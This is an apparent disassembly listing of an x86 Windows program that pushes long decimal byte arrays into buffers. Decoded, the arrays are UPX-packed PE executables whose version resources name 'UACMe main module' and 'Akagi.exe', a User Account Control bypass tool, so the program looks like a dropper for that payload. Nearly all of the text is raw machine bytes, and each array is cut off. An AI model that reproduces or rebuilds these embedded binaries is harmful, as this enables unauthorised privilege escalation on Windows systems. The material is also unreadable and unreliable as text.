push str.77_228_98_0_120_203_182_96_116_92_37_115_11_19_102_164_63_68_44_68_100_61_191_144_0_49_207_194_76_97_112_3_107_237_115_116_69_250_178_143_26_176_77_102_128_58_255_86_223_83_49_219_190_237_51_204_105_215_77_51_107_46_8_254_150_0_147_36_105_102_121_4_136_96_19_105_96_201_68_236_135_45_15_65_100_100_114_88_219_176_77_6_3_1_233_97_142_98_114_159_97_24_16_110_121_56_104_24_43_3_224_45_149_67_97_64_44_123_83_196_149_16_167_217_72_136_33_0_103_64_196_12_249_188_27_1_220_11_24_16_10_12_236_155_110_50_32_73_46_54_32_255_13_54_219_178_108_2_10_14_11_75_58_184_33_64_120_64_108_78_116_120_245_8_8_47_88_240_26_68_19_204_93_91_138_107_11_92_116_108_71_36_28_46_27_96_61_39_78_172_204_205_34_44_171_115_196_221_47_167_9_224_52_91_127_68_136_141_247_211_108_11_25_80_152_119_115_112_249_66_68_225_113_116_102_87_15_18_159_54_105_54_33_47_11_14_159_31_48_128_14_73_100_21_5_0_109_87_145_229_57_201_37_86_35_0_26_60_100_19_114_200_20_25_64_1_3_205_145_15_160_21_144_63_170_32_221_97_33_144_129_0_52_210_140_100_0_52_124_8_128_133_3_209_33_135_12_160_21_128_84_0_157_0_22_197_72_78_78_101_21_22_24_26_44_39_0_157_172_45_237_46_30_78_0_179_149_38_157_0_186_5_214_53_115_39_192_25_64_103_147_169_227_112_61_176_17_82_200_76_19_128_155_252_251_173_108_78_39_27_176_89_13_174_131_0_0_0_0_0_0_0_0_18_0_255_0_0_0_0_0_0_0_0_0_0_0_83_86_87_85_72_141_53_213_224_255_255_72_141_190_0_128_255_255_87_49_219_49_201_72_131_205_255_232_80_0_0_0_1_219_116_2_243_195_139_30_72_131_238_252_17_219_138_22_243_195_72_141_4_47_131_249_5_138_16_118_33_72_131_253_252_119_27_131_233_4_139_16_72_131_192_4_131_233_4_137_23_72_141_127_4_115_239_131_193_4_138_16_116_16_72_255_192_136_23_131_233_1_138_16_72_141_127_1_117_240_243_195_252_65_91_235_8_72_255_198_136_23_72_255_199_138_22_1_219_117_10_139_30_72_131_238_252_17_219_138_22_114_230_141_65_1_65_255_211_17_192_1_219_117_10_139_30_72_131_238_252_17_219_138_22_115_235_131_232_3_114_23_193_224_8_15_182_210_9_208_72_255_198_131_240_255_15_132_58_0_0_0_72_99_232_141_65_1_65_255_211_17_201_65_255_211_17_201_117_24_137_193_131_192_2_65_255_211_17_201_1_219_117_8_139_30_72_131_238_252_17_219_115_237_72_129_253_0_243_255_255_17_193_232_58_255_255_255_235_131_94_72_137_247_185_0_26_0_0_178_0_72_137_251_235_44_138_7_72_131_199_1_60_128_114_10_60_143_119_6_128_127_254_15_116_6_44_232_60_1_119_35_56_23_117_31_139_7_37_0_255_255_255_15_200_41_248_1_216_171_72_131_233_4_138_7_72_131_199_1_72_255_201_117_217_235_5_72_255_201_117_190_72_131_236_40_72_141_190_0_128_0_0_139_7_9_192_116_86_139_95_4_72_141_140_48_28_179_0_0_72_1_243_72_131_199_8_255_150_168_179_0_0_72_149_138_7_72_255_199_8_192_116_215_121_10_72_15_183_23_72_131_199_2_235_10_72_137_249_72_137_250_255_200_242_174_72_137_233_255_150_176_179_0_0_72_9_192_116_9_72_137_3_72_131_195_8_235_202_255_166_208_179_0_0_72_131_196_40_72_139_174_184_179_0_0_72_141_190_0_240_255_255_187_0_16_0_0_80_73_137_225_65_184_4_0_0_0_72_137_218_72_137_249_72_131_236_32_255_213_72_141_135_15_2_0_0_128_32_127_128_96_40_127_76_141_76_36_32_77_139_1_72_137_218_72_137_249_255_213_72_131_196_40_93_95_94_91_72_141_68_36_128_106_0_72_57_196_117_249_72_131_236_128_233_217_103_255_255_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_1_0_16_0_0_0_24_0_0_128_0_0_0_0_0_0_0_0_0_0_0_0_0_0_1_0_1_0_0_0_48_0_0_128_0_0_0_0_0_0_0_0_0_0_0_0_0_0_1_0_9_4_0_0_72_0_0_0_92_192_0_0_192_2_0_0_0_0_0_0_0_0_0_0_96_128_0_0_192_2_52_0_0_0_86_0_83_0_95_0_86_0_69_0_82_0_83_0_73_0_79_0_78_0_95_0_73_0_78_0_70_0_79_0_0_0_0_0_189_4_239_254_0_0_1_0_9_0_1_0_0_0_0_0_9_0_1_0_0_0_0_0_63_0_0_0_0_0_0_0_0_0_4_0_1_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_32_2_0_0_1_0_83_0_116_0_114_0_105_0_110_0_103_0_70_0_105_0_108_0_101_0_73_0_110_0_102_0_111_0_0_0_252_1_0_0_1_0_48_0_52_0_48_0_57_0_48_0_52_0_98_0_4
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0xa4f4]
push 0xaa
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0xa448]
push 0x1d7e
push str.77_90_144_0_3_0_0_0_4_0_0_0_255_255_0_0_184_0_0_0_0_0_0_0_64_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_216_0_0_0_14_31_186_14_0_180_9_205_33_184_1_76_205_33_84_104_105_115_32_112_114_111_103_114_97_109_32_99_97_110_110_111_116_32_98_101_32_114_117_110_32_105_110_32_68_79_83_32_109_111_100_101_46_13_13_10_36_0_0_0_0_0_0_0_87_92_33_158_19_61_79_205_19_61_79_205_19_61_79_205_206_194_129_205_18_61_79_205_206_194_132_205_28_61_79_205_19_61_78_205_82_61_79_205_225_100_71_204_6_61_79_205_225_100_176_205_18_61_79_205_19_61_216_205_18_61_79_205_225_100_77_204_18_61_79_205_82_105_99_104_19_61_79_205_0_0_0_0_0_0_0_0_80_69_0_0_76_1_3_0_185_89_37_86_0_0_0_0_0_0_0_0_224_0_2_1_11_1_14_0_0_32_0_0_0_16_0_0_0_128_0_0_224_170_0_0_0_144_0_0_0_176_0_0_0_0_64_0_0_16_0_0_0_2_0_0_6_0_1_0_6_0_1_0_6_0_1_0_0_0_0_0_0_192_0_0_0_16_0_0_0_0_0_0_2_0_64_133_0_0_16_0_0_16_0_0_0_0_16_0_0_16_0_0_0_0_0_0_16_0_0_0_0_0_0_0_0_0_0_0_232_180_0_0_164_1_0_0_0_176_0_0_232_4_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_140_182_0_0_12_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_85_80_88_48_0_0_0_0_0_128_0_0_0_16_0_0_0_0_0_0_0_4_0_0_0_0_0_0_0_0_0_0_0_0_0_0_128_0_0_224_85_80_88_49_0_0_0_0_0_32_0_0_0_144_0_0_0_30_0_0_0_4_0_0_0_0_0_0_0_0_0_0_0_0_0_0_64_0_0_224_46_114_115_114_99_0_0_0_0_16_0_0_0_176_0_0_0_8_0_0_0_34_0_0_0_0_0_0_0_0_0_0_0_0_0_0_64_0_0_192_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_51_46_57_49_0_85_80_88_33_13_9_2_9_172_65_29_54_225_116_254_55_47_134_0_0_222_26_0_0_0_72_0_0_38_0_0_36_255_255_255_255_133_201_116_50_133_210_116_46_51_192_235_3_131_193_2_102_57_1_117_248_86_15_183_50_102_133_246_116_19_43_209_102_203_111_223_220_137_49_21_15_4_10_139_240_18_192_117_239_51_192_1_189_253_77_247_94_139_193_195_56_46_42_59_202_116_38_86_87_33_58_139_241_131_252_124_178_51_255_62_131_198_50_139_248_95_216_111_237_108_52_6_2_54_117_1_195_51_210_108_255_191_251_50_17_43_200_209_249_25_85_139_236_129_236_44_10_0_0_141_133_244_253_255_176_187_255_246_255_185_10_2_10_83_51_219_136_24_64_131_233_146_104_4_1_26_253_118_251_246_80_104_9_33_48_255_21_5_32_188_93_116_80_185_32_8_22_108_88_249_26_212_245_45_40_20_125_127_236_110_46_60_112_80_47_204_131_196_12_141_149_20_185_35_223_127_219_67_88_232_4_17_158_139_216_133_219_117_11_83_104_180_255_217_236_239_102_131_189_61_0_116_13_70_58_176_139_195_91_139_229_93_238_174_253_127_167_131_236_12_139_69_16_137_85_244_198_127_2_137_16_211_183_109_235_182_17_17_8_12_3_231_8_237_233_47_1_239_195_254_183_255_83_86_139_117_8_87_106_34_91_40_252_137_93_248_106_32_139_250_90_245_190_125_195_194_116_248_29_17_60_89_59_211_116_45_25_91_235_43_102_222_253_214_237_9_47_102_18_52_72_244_71_57_69_252_97_117_18_129_255_193_44_52_252_246_115_10_139_6_85_22_140_125_175_125_27_17_45_85_248_117_204_126_74_82_139_187_93_247_182_98_66_18_244_106_0_107_90_114_118_145_49_5_51_246_207_198_182_201_51_14_161_56_72_95_27_192_94_247_216_198_134_66_105_24_110_6_122_101_13_134_183_237_137_69_248_162_252_42_15_132_174_118_22_0_92_56_236_254_106_131_248_100_15_135_160_13_86_190_138_10_224_251_105_104_67_184_139_206_97_9_113_249_17_102_135_47_87_139_61_143_38_172_139_185_239_15_166_59_160_255_215_85_139_15_20_52_88_115_50_54_26_228_112_106_23_204_119_194_108_62_112_36_29_82_1
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0x86a2]
xorps xmm0, xmm0
movups xmmword [ebp - 0x86ca], xmm0
push 0x1d9a
push str.94_58_80_127_117_21_131_255_99_20_46_14_157_57_194_21_184_99_57_6_64_46_178_229_60_84_86_182_102_172_224_44_254_46_52_18_41_12_208_13_251_64_131_206_255_163_41_16_182_56_187_204_20_94_88_207_17_17_125_33_123_39_217_93_255_7_95_49_91_206_42_5_146_108_109_179_60_110_221_105_235_47_28_2_24_232_57_232_98_9_60_156_116_219_109_196_20_101_116_85_224_196_80_176_92_51_118_187_117_171_52_14_248_80_3_200_80_17_112_154_51_231_92_34_158_20_159_19_124_14_45_67_95_216_231_20_103_196_131_225_39_173_20_138_157_29_103_94_86_77_10_15_127_176_25_131_73_230_8_48_248_83_80_79_99_13_34_152_88_72_96_170_142_102_187_158_190_0_28_252_213_83_45_63_64_41_216_3_107_206_106_120_112_16_108_138_42_241_111_95_129_199_5_132_28_5_66_56_26_117_251_86_166_182_75_175_247_15_80_43_241_148_8_85_198_91_183_139_56_115_116_51_31_45_135_43_194_3_92_208_228_254_247_87_141_189_33_43_249_141_148_5_251_8_51_17_182_255_111_221_49_13_138_4_66_1_65_78_74_56_28_15_117_235_95_136_25_153_67_28_185_203_218_183_195_161_0_173_154_142_213_248_12_252_12_212_83_146_155_0_255_187_53_39_85_88_234_83_184_254_0_22_51_214_110_12_153_255_81_16_223_116_201_245_145_204_182_197_156_86_104_52_239_26_111_12_6_169_211_22_139_39_148_58_187_245_236_216_142_46_104_116_41_68_59_200_168_138_149_9_221_219_134_233_132_220_6_248_184_136_17_65_172_138_96_67_174_183_208_212_117_244_95_191_240_70_12_155_231_217_253_82_11_27_4_10_111_61_19_9_214_127_207_243_60_153_64_35_12_29_153_86_199_184_95_136_125_86_127_129_255_196_52_137_134_48_149_141_32_185_118_68_13_86_20_147_91_146_188_140_12_191_228_4_2_39_56_122_143_225_178_211_10_252_135_60_177_149_253_160_254_193_239_116_76_67_16_102_22_23_17_82_200_195_132_39_128_92_233_56_238_7_115_68_30_252_254_155_40_51_83_11_54_242_125_172_156_4_153_83_36_89_216_91_114_48_193_123_176_184_199_26_194_173_202_28_26_216_95_185_117_44_107_88_148_241_219_55_60_245_182_213_52_96_147_44_16_11_24_3_86_109_131_213_144_143_94_159_83_213_249_8_153_203_210_241_125_255_14_1_235_103_97_161_199_60_164_73_214_10_244_123_128_242_153_244_17_100_5_21_12_6_217_222_55_73_168_16_33_208_120_222_228_107_248_51_248_104_22_34_120_17_17_234_126_232_69_172_5_79_84_186_24_144_31_254_162_139_238_131_199_16_226_190_132_16_53_24_83_165_254_189_175_225_0_6_16_0_10_8_32_141_120_32_255_53_247_197_22_150_160_127_170_43_40_83_137_71_48_154_147_230_107_13_10_60_52_72_56_59_249_111_235_35_223_37_248_26_88_87_137_67_76_116_10_59_105_190_175_60_62_244_24_132_64_152_10_152_126_230_164_68_164_244_67_80_33_64_128_66_77_198_219_18_204_5_48_128_99_108_27_171_1_129_119_177_108_2_248_244_181_10_184_5_64_195_106_129_66_83_54_16_253_39_48_16_218_250_236_168_133_41_36_89_76_208_240_161_33_64_247_106_60_13_148_1_15_2_237_198_198_214_16_10_7_83_6_162_59_109_47_182_54_52_206_56_192_68_27_13_108_96_83_32_6_139_246_80_8_148_199_157_155_123_108_69_36_93_47_10_228_7_73_78_186_206_88_14_84_55_56_136_95_221_86_151_119_104_20_6_16_60_20_225_86_237_211_57_110_96_134_92_214_43_60_117_96_21_48_12_200_145_244_102_4_74_133_185_185_186_228_146_114_139_8_114_22_81_56_140_108_173_25_51_80_18_14_84_36_152_189_54_178_244_8_8_253_11_204_125_216_110_9_235_13_139_4_191_7_235_6_9_194_217_53_220_228_9_15_30_207_3_83_161_183_37_155_220_244_124_76_139_199_39_68_142_80_59_194_140_41_12_2_118_116_208_122_145_229_18_90_224_86_186_84_7_108_228_168_98_112_129_194_106_211_87_147_65_202_161_204_66_55_186_117_249_124_75_168_29_234_214_185_84_102_123_35_187_32_130_11_82_92_185_73_9_196_137_128_180_5_228_70_0_28_169_80_139_1_3_220_83_117_4_65_226_197_22_226_89_70_224_103_103_183_147_72_224_110_121_16_10_236_6_132_213_65_233_195_235_213_101_106_4_93_28_252_195_18_182_140_239_232_86_35_24_13_187_1_87_127_8_153_192_94_117_219_168_181_161_232_12_67_51_87_154_2_3_145_145_248_84_14_64_81_24_136_253_220_86_238_116_40_87_131_162_24_181_29_35_160_165_45_200_25_118_84_78_57_10_193_100_204_232_15_148_192_110_164_60_181_33_192_205_232_142_60_94_38_100_218_158_184_141_208_72_223_220_0_4_199_3_60_109_71_205_145_92_200_64_137_24_85_216_12_218_103_4_204_224_5_176_196_116_23_113_99_216_97_46_135_187_48_8_169_133_142_190_108_198_106_84_83_187_248_200_52_132_30_127_128_203
push eax
movups xmmword [ebp - 0x86ba], xmm0
movq qword [ebp - 0x86aa], xmm0
call fcn.00414e60
add esp, 0xc
xorps xmm0, xmm0
push 0x1c0d
lea eax, [ebp - 0x68fc]
movq qword [ebp - 0x6908], xmm0
push str.64_1_16_21_47_26_43_124_251_182_111_234_34_183_182_4_18_167_241_253_57_93_252_15_131_220_2_157_132_17_8_23_206_175_43_204_182_83_83_54_96_120_214_40_61_208_230_162_199_95_24_64_217_48_25_161_204_214_25_80_6_20_249_169_109_15_228_88_54_87_87_117_107_81_36_96_251_229_247_124_120_19_214_83_106_68_90_139_202_41_164_100_31_52_36_246_10_232_14_140_117_27_184_26_11_164_91_52_136_232_141_45_208_12_120_13_103_80_0_83_214_25_130_211_115_32_248_99_232_93_147_237_182_216_28_88_10_236_93_106_0_153_44_182_100_239_96_131_21_12_125_255_15_0_146_65_45_106_94_114_31_246_6_155_139_84_96_64_169_57_69_12_230_253_125_13_196_60_216_160_61_21_184_232_172_254_131_185_7_87_254_0_27_25_189_172_150_44_135_65_183_16_240_24_139_6_217_187_172_185_146_160_223_12_46_41_242_190_84_18_86_230_9_99_11_154_212_100_40_135_132_189_88_242_187_251_59_198_15_131_181_7_185_16_4_58_144_249_120_7_98_33_105_160_25_20_255_222_160_33_103_30_242_240_141_149_19_139_193_43_208_6_75_32_20_119_45_57_222_125_17_199_73_116_8_76_25_180_99_186_4_33_43_251_80_24_5_174_141_73_54_238_49_155_68_116_169_9_0_121_112_19_102_142_127_176_125_240_168_179_96_46_244_91_24_61_162_66_122_202_12_255_22_39_221_201_109_179_3_6_242_38_19_38_39_166_11_178_52_77_211_116_3_152_210_130_102_90_176_184_108_211_192_72_38_63_83_189_163_46_198_98_119_99_101_137_65_167_144_25_107_168_97_241_105_31_76_236_141_81_247_231_76_3_116_219_114_22_37_61_90_214_180_95_108_27_151_215_141_117_209_49_117_179_100_39_70_11_98_3_139_116_47_94_107_41_191_33_121_43_190_105_104_236_115_51_118_19_99_46_0_13_0_10_67_147_234_70_115_35_115_73_99_61_97_167_186_1_116_79_23_51_0_50_164_108_37_213_17_0_75_0_154_77_119_88_51_13_3_220_244_36_12_88_32_225_194_27_14_99_35_57_200_114_123_160_34_3_1_0_28_136_33_136_236_196_102_248_104_34_67_3_52_77_179_188_173_34_196_218_228_238_105_154_102_217_9_35_37_64_83_104_166_105_154_166_122_142_163_191_210_77_179_108_154_234_253_24_36_44_65_92_52_77_211_52_118_130_152_166_193_177_245_76_211_211_231_249_223_3_67_23_93_116_122_5_50_7_90_9_171_66_174_97_97_11_0_70_13_59_15_146_120_104_85_23_255_18_0_19_0_20_0_21_38_23_191_191_193_133_55_137_26_0_27_255_117_98_19_105_51_50_46_100_241_255_219_141_108_38_67_97_4_78_116_80_111_119_101_114_73_110_102_111_114_109_109_116_107_111_178_105_111_110_22_3_115_116_99_99_173_212_91_187_25_97_114_16_35_77_115_103_197_21_183_219_183_22_129_30_101_85_114_105_9_117_114_11_110_116_228_102_127_161_73_178_68_101_118_79_98_106_25_11_45_88_251_109_51_101_71_76_105_62_26_5_97_159_192_118_73_111_121_27_69_110_117_109_24_255_193_182_183_62_114_102_97_8_115_26_71_101_116_67_108_97_115_115_45_107_15_115_13_18_79_112_114_70_182_109_238_173_20_185_82_101_103_76_56_83_2_118_5_182_191_93_249_0_71_101_110_135_65_99_196_81_117_101_1_0_27_109_207_197_218_76_19_35_83_210_101_141_53_183_185_109_20_194_118_39_229_118_110_93_247_74_221_106_111_109_98_78_218_27_111_133_115_182_173_123_96_67_83_76_64_87_31_100_75_115_237_182_61_16_37_87_100_38_98_13_116_66_168_27_192_22_218_99_107_8_42_100_18_73_97_133_77_120_111_109_231_26_38_46_253_22_22_132_31_20_48_70_105_116_88_200_26_24_71_26_78_42_180_43_115_129_25_70_93_130_194_101_206_61_114_11_176_32_86_192_217_135_205_185_197_21_188_105_205_105_122_13_66_107_181_181_123_12_103_80_101_82_48_246_205_213_77_68_89_97_98_108_101_127_83_96_151_109_193_48_3_101_199_70_103_115_17_119_51_108_245_117_112_76_134_77_27_18_101_87_19_189_224_10_219_84_32_109_21_209_121_67_84_76_245_72_157_58_3_19_31_36_109_110_124_159_122_32_75_46_105_11_36_53_19_64_75_82_167_217_24_1_114_207_15_35_223_215_100_101_11_220_51_114_122_217_73_181_110_0_100_98_213_239_40_75_223_37_221_115_50_248_19_20_51_115_12_146_230_155_144_38_52_19_72_250_159_58_203_231_54_0_48_160_127_36_48_198_146_108_190_49_19_160_64_4_99_32_51_228_6_4_155_228_11_113_99_129_193_59_217_0_52_39_36_11_24_182_134_87_190_2_196_83_173_114_120_29_54_94_120_117_114_51_3_72_63_112_230_148_10_141_191_29_85_1_69_120_112_97_146_180_16_97_195_109_108_62_110_212_110_43_190_110_173_165_70_251_91_39_250_3_79_117_116_112_2_90_233_90_149_110_179_103_21_20_0_127_181_63_117_108_235_22_211_72_52_108_64_47_75_65_108_14_70_195_12
push eax
mov dword [ebp - 0x6900], 0
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0x4cef]
push 0x199
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0x4b56]
push 0x179b
push str.135_94_236_109_207_145_29_105_99_236_33_145_173_95_1_105_89_178_47_102_213_243_165_101_83_84_179_133_133_133_197_19_22_103_207_193_77_41_102_179_100_18_214_197_8_117_111_207_106_23_39_108_134_217_77_108_163_23_109_99_222_132_26_128_97_239_107_185_39_236_197_132_29_193_35_111_153_21_108_202_198_134_115_187_108_45_69_43_116_77_203_98_118_169_9_65_29_109_55_171_30_35_63_105_37_125_209_104_115_221_216_33_113_119_35_123_71_21_100_175_171_174_107_23_53_1_55_3_45_31_56_11_88_215_140_116_9_52_48_57_109_55_19_234_115_99_221_49_1_98_23_98_55_9_101_9_10_241_70_67_125_178_179_222_90_4_136_45_15_181_21_40_64_176_135_12_99_19_219_43_221_18_133_74_237_116_47_85_49_232_130_217_1_83_72_47_78_70_108_104_33_182_189_109_250_115_82_78_97_179_184_197_66_48_83_214_108_108_125_194_125_251_0_222_87_97_55_70_111_114_83_31_176_12_24_214_71_79_93_52_9_3_24_127_83_63_95_86_188_218_32_225_121_71_43_243_193_160_108_69_0_200_47_228_96_179_138_19_48_0_0_248_91_176_1_88_220_72_32_163_114_228_39_144_35_72_81_36_82_0_0_120_65_55_37_47_156_82_176_19_248_187_144_127_97_163_168_83_0_0_252_3_96_19_190_160_80_115_112_6_98_130_179_112_1_37_228_74_112_163_65_85_132_148_252_216_8_170_34_10_54_3_85_81_208_36_32_64_188_252_95_1_67_111_112_121_70_105_108_101_87_87_114_105_4_209_254_33_158_77_101_109_111_114_121_19_9_192_37_155_157_23_37_181_7_36_128_43_1_182_1_86_7_196_13_136_105_109_97_108_22_32_90_0_237_69_120_15_45_5_240_102_183_25_117_108_32_105_120_221_205_141_35_82_99_5_84_104_12_100_37_123_173_107_136_64_109_34_76_90_36_16_145_44_70_196_33_123_123_238_128_1_97_1_82_54_185_184_226_175_157_5_10_83_52_8_80_111_105_68_188_152_33_148_68_15_55_55_236_37_112_66_121_167_27_222_109_112_27_118_115_183_80_22_104_65_57_18_101_112_154_51_134_61_32_220_19_106_12_97_173_221_254_6_84_105_109_3_111_76_129_222_14_107_109_251_187_126_105_100_101_67_104_97_114_24_77_228_98_96_46_128_183_108_116_92_37_252_51_183_48_97_63_68_44_68_100_61_254_11_73_16_159_194_76_97_115_116_69_8_55_176_214_250_178_143_26_14_219_100_38_10_255_86_223_83_51_16_179_237_219_204_105_215_77_51_107_46_163_224_111_73_99_36_105_102_121_121_66_130_8_54_96_153_65_196_126_216_15_65_100_100_114_88_182_13_219_36_211_1_233_97_142_98_114_159_121_18_134_5_225_56_56_24_183_18_2_222_149_167_83_21_22_196_178_196_101_214_48_33_226_0_221_224_206_103_188_130_56_9_98_235_1_5_225_94_64_218_12_236_101_219_116_147_25_234_54_16_255_13_2_10_196_167_217_150_14_11_75_246_220_78_116_130_5_132_23_72_245_240_181_133_128_240_26_68_138_107_11_1_54_193_220_92_116_108_71_36_61_194_194_225_178_39_78_172_171_115_196_214_197_220_44_221_47_167_124_1_127_182_48_2_206_196_233_25_30_119_63_205_12_204_119_115_112_249_116_102_87_15_19_98_69_20_18_15_47_210_96_147_102_11_14_159_73_23_255_255_255_177_0_184_6_41_7_14_16_6_23_240_37_1_17_27_32_29_90_6_42_44_35_52_28_6_28_229_255_255_255_64_64_32_20_6_28_80_40_47_6_31_34_5_14_6_38_26_14_9_15_22_50_26_23_13_25_7_223_254_255_221_6_19_3_82_46_38_44_105_131_5_34_15_7_22_7_68_13_39_22_1_25_17_31_21_221_135_253_255_23_17_59_18_20_73_21_13_17_173_14_17_72_5_0_13_24_64_12_30_255_223_254_183_26_73_12_12_7_32_5_18_13_6_15_83_19_16_5_12_9_13_10_11_11_16_11_14_109_251_255_111_4_240_153_1_52_12_10_52_7_11_7_20_9_7_9_42_23_97_89_8_147_128_254_255_19_24_7_55_26_13_8_7_46_67_39_18_19_9_22_211_178_60_151_252_5_0_185_89_37_86_1_20_56_77_178_57_57_52_23_48_64_0_1_71_158_128_146_3_211_144_118_140_48_44_132_60_133_0_210_4_212_20_63_140_211_112_128_154_219_5_128_51_100_1_81_85_242_139_144_211_48_0_0_248_208_137_228_228_138_19_20_164_39_91_201_114_18_171_40_24_38_104_129_116_223_198_6_115_96_78_14_100_9_251_192_112_64_114_178_156_66_100_1_128_70_236_88_1_87_128_71_174_131_18_0_0_0_124_92_132_0_0_0_18_0_0_255_0_0_96_190_0_144_64_0_141_190_0_128_255_255_87_235_11_144_138_6_70_136_7_71_1_219_117_7_139_30_131_238_252_17_219_114_237_184_1_0_0_0_1_219_117_7_139_30_131_238_252_17_219_17_192_1_219_115_239_117_9_139_30_131_238_252_17_219_115_228_49_201_131_232_3_114_13_193_224_8_138_6_70_131_240_255_116_116_137_197_1_219_117_7_139_30_131_238_252_17_219_17_201_1_219_117_7_139_30_131_238_252_17_219_17_201_117_32_65_1_219_117_7_139_30_1
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0x33bb]
push 0x60b
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0x2db0]
push 0x150d
push str.0_0_0_0_0_0_1_0_9_4_0_0_80_0_0_0_164_176_0_0_192_2_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_1_0_1_0_0_0_120_0_0_128_0_0_0_0_0_0_0_0_0_0_0_0_0_0_1_0_9_4_0_0_144_0_0_0_104_179_0_0_125_1_0_0_0_0_0_0_0_0_0_0_160_112_0_0_192_2_52_0_0_0_86_0_83_0_95_0_86_0_69_0_82_0_83_0_73_0_79_0_78_0_95_0_73_0_78_0_70_0_79_0_0_0_0_0_189_4_239_254_0_0_1_0_9_0_1_0_0_0_0_0_9_0_1_0_0_0_0_0_63_0_0_0_0_0_0_0_0_0_4_0_1_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_32_2_0_0_1_0_83_0_116_0_114_0_105_0_110_0_103_0_70_0_105_0_108_0_101_0_73_0_110_0_102_0_111_0_0_0_252_1_0_0_1_0_48_0_52_0_48_0_57_0_48_0_52_0_98_0_48_0_0_0_50_0_9_0_1_0_67_0_111_0_109_0_112_0_97_0_110_0_121_0_78_0_97_0_109_0_101_0_0_0_0_0_85_0_71_0_32_0_78_0_111_0_114_0_116_0_104_0_0_0_0_0_76_0_18_0_1_0_70_0_105_0_108_0_101_0_68_0_101_0_115_0_99_0_114_0_105_0_112_0_116_0_105_0_111_0_110_0_0_0_0_0_85_0_65_0_67_0_77_0_101_0_32_0_109_0_97_0_105_0_110_0_32_0_109_0_111_0_100_0_117_0_108_0_101_0_0_0_48_0_8_0_1_0_70_0_105_0_108_0_101_0_86_0_101_0_114_0_115_0_105_0_111_0_110_0_0_0_0_0_49_0_46_0_57_0_46_0_48_0_46_0_48_0_0_0_44_0_6_0_1_0_73_0_110_0_116_0_101_0_114_0_110_0_97_0_108_0_78_0_97_0_109_0_101_0_0_0_65_0_107_0_97_0_103_0_105_0_0_0_106_0_35_0_1_0_76_0_101_0_103_0_97_0_108_0_67_0_111_0_112_0_121_0_114_0_105_0_103_0_104_0_116_0_0_0_67_0_111_0_112_0_121_0_114_0_105_0_103_0_104_0_116_0_32_0_40_0_67_0_41_0_32_0_50_0_48_0_49_0_52_0_32_0_45_0_32_0_50_0_48_0_49_0_53_0_32_0_85_0_71_0_32_0_78_0_111_0_114_0_116_0_104_0_0_0_0_0_60_0_10_0_1_0_79_0_114_0_105_0_103_0_105_0_110_0_97_0_108_0_70_0_105_0_108_0_101_0_110_0_97_0_109_0_101_0_0_0_65_0_107_0_97_0_103_0_105_0_46_0_101_0_120_0_101_0_0_0_44_0_6_0_1_0_80_0_114_0_111_0_100_0_117_0_99_0_116_0_78_0_97_0_109_0_101_0_0_0_0_0_85_0_65_0_67_0_77_0_101_0_0_0_52_0_8_0_1_0_80_0_114_0_111_0_100_0_117_0_99_0_116_0_86_0_101_0_114_0_115_0_105_0_111_0_110_0_0_0_49_0_46_0_57_0_46_0_48_0_46_0_48_0_0_0_68_0_0_0_1_0_86_0_97_